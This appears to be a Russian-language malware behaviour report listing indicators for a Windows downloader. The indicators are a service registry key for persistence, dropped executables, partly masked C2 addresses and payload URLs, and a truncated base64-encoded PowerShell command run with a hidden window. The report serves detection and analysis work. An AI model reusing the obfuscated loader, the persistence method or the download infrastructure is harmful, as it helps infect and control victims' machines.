Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\iprtrmgr] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\iprtrmgr] 'ImagePath' = '"%WINDIR%\SysWOW64\KBDWOL\iprtrmgr.exe"'
- 'iprtrmgr' "%WINDIR%\SysWOW64\KBDWOL\iprtrmgr.exe"
- 'iprtrmgr' %WINDIR%\SysWOW64\KBDWOL\iprtrmgr.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABTAG8AbwBfAG0ANQBrAD0AKAAoACcAQwB2AGIAJwArACcAZQAnACkAKwAoACcAeQAnACsAJwBiAGwAJwApACkAOwAmACgAJwBuAGUAdwAtAGkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABlAE4AVgA6AFQARQBtAHAAXABXAE8AUgBEAFwAMgAwAD...
- %TEMP%\word\2019\lki6mun.exe
- %WINDIR%\syswow64\kbdwol\iprtrmgr.exe
- %TEMP%\word\2019\lki6mun.exe в %WINDIR%\syswow64\kbdwol\iprtrmgr.exe
- '98.##.75.196':80
- '91.##1.54.71':8080
- http://dr######emyrtlebeach.com/wp-content/cache/2Rw/
- http://ne#.#ittyg.com/cgi-bin/L7v/
- http://91.###.54.71:8080/Pwri8km3w/7qdkgHqhVG/VV3NbSuliGX5rz4/z5zw5hydlFBaMALQaQa/ via 91.##1.54.71
- DNS ASK dr######emyrtlebeach.com
- DNS ASK ne#.#ittyg.com
- '%TEMP%\word\2019\lki6mun.exe'
- '%WINDIR%\syswow64\kbdwol\iprtrmgr.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABTAG8AbwBfAG0ANQBrAD0AKAAoACcAQwB2AGIAJwArACcAZQAnACkAKwAoACcAeQAnACsAJwBiAGwAJwApACkAOwAmACgAJwBuAGUAdwAtAGkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABlAE4AVgA6AFQARQBtAHAAXABXAE8AUgBEAFwAMgAwAD...' (со скрытым окном)